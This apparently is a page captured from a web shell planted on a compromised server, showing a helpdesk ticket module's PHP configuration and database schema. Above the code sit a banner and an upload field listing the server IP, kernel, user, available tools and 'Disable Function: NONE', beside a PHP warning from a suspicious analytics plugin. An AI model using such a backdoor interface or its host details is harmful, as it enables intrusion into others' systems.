Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/modules/ticket/ |
Upload File : |
<?php
namespace modules\ticket;
// A helpdesk Ticketing system
// https://github.com/QualityUnit/TNEFDecoder
// to do: add chat module
class module_info extends \module {
function __info() {
return [
'version' => '0.0.18',
'class' => 'modules\\ticket\\main',
'name' => 'Helpdesk Tickets',
'depends' => ['input', 'output', 'database', 'datatables', 'config', 'formEdit'],
'composer' => [
'zbateson/mail-mime-parser' => '^2.2',
'qualityunit/tnef-decoder' => '^1.2',
],
'email' => [ // internal name => entrypoint
'created' => 'modules\\ticket\\view\\tix_view::email_created',
'reply' => 'modules\\ticket\\view\\tix_view::email_reply',
],
'settings' => [
[
'name' => 'new_stat',
'caption' => 'Default Status for Tickets',
'type' => 'string',
'default' => 'new',
],[
'name' => 'new_priority',
'caption' => 'Default Priority for Tickets',
'type' => 'string',
'default' => 'normal',
],[
'name' => 'new_project',
'caption' => 'Default Project for Tickets',
'type' => 'string',
],[
'name' => 'reply_stat',
'caption' => 'Default Status when replying to Tickets',
'type' => 'string',
'default' => 'open',
]
// default assignee?
],
'database' => [
'ticket' => [
'engine' => 'auto',
'charset' => 'utf-8',
'comment' => 'Tickets',
'fields' => [
[
'name' => 't_id',
'type' => 'int',
'size' => 11,
'null' => FALSE,
'autoinc' => TRUE,
], [
'name' => 't_subject',
'type' => 'string',
'size' => 250,
'null' => TRUE,
], [
'name' => 't_number',
'type' => 'string', // YYwxyz
'size' => 8,
'null' => FALSE,
], [
'name' => 't_client',
'type' => 'int',
'size' => 11,
'unsigned' => TRUE,
'null' => NULL,
], [
'name' => 't_cc',
'type' => 'string',
'size' => 2048,
'null' => TRUE,
], [
'name' => 't_project',
'type' => 'string',
'size' => 30,
'null' => TRUE,
], [
'name' => 't_priority',
'type' => 'int',
'size' => 11,
'null' => FALSE,
'unsigned' => TRUE,
'default' => 0,
], [
'name' => 't_status',
'type' => 'string',
'size' => 30,
'null' => FALSE,
'unsigned' => TRUE,
'default' => 'new',
], [
'name' => 't_created', //date
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 't_assigned_to',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 't_assigned_on',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 't_modified_by',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 't_modified_on',
'type' => 'int',
'size' => 11,
'null' => FALSE,
],
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['t_id'],
],
'byNum' => [ 'type' => 'unique',
'fields' => ['t_number'],
],
'byClient' => [ 'type' => 'index',
'fields' => ['t_client'],
],
'byStatus' => [ 'type' => 'index',
'fields' => ['t_status', 't_created'],
],
],
],
'ticket_line' => [
'engine' => 'auto',
'charset' => 'utf-8',
'comment' => 'the conversation',
'fields' => [
[
'name' => 'tc_id',
'type' => 'int',
'size' => 11,
'null' => FALSE,
'autoinc' => TRUE,
], [
'name' => 'tc_ticket',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 'tc_message_id',
'type' => 'string',
'size' => 250,
'null' => TRUE,
], [
'name' => 'tc_mimetype',
'type' => 'string',
'size' => 80,
'null' => TRUE,
], [
'name' => 'tc_content',
'type' => 'text',
'null' => TRUE,
], [
'name' => 'tc_createdon',
'type' => 'int',
'size' => 11,
'null' => TRUE,
], [
'name' => 'tc_createdby',
'type' => 'int',
'size' => 11,
'null' => TRUE,
], [
'name' => 'tc_type',
'type' => 'int', // -1 out, 0 = comment, 1 = in
'size' => 5,
'null' => TRUE,
'comment' => 'message type'
],
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['tc_id'],
],
'byTicket' => [ 'type' => 'index',
'fields' => ['tc_ticket'],
],
],
],
'ticket_attach' => [
'engine' => 'auto',
'charset' => 'utf-8',
'comment' => 'files attached to conversation',
'fields' => [
[
'name' => 'ta_conversation',
'type' => 'int',
'size' => 11,
'null' => FALSE,
], [
'name' => 'ta_hash', // hash of file contents, this is our internal name
'type' => 'string',
'size' => 100,
'null' => FALSE,
], [
'name' => 'ta_contentid',
'type' => 'string',
'size' => 191,
'null' => TRUE,
], [
'name' => 'ta_filesize',
'type' => 'int',
'size' => 11,
'null' => TRUE,
], [
'name' => 'ta_filename', // external filename
'type' => 'string',
'size' => 1024,
'null' => FALSE,
], [
'name' => 'ta_mimetype', // mime
'type' => 'string',
'size' => 80,
],
],
'index' => [
'PRIMARY' => [ 'type' => 'primary',
'fields' => ['ta_conversation', 'ta_hash'],
],
'byContent' => [ 'type' => 'index',
'fields' => ['ta_hash'],
],
'byId' => [ 'type' => 'index',
'fields' => ['ta_contentid', 'ta_conversation'],
],
],
],
],
];
}
}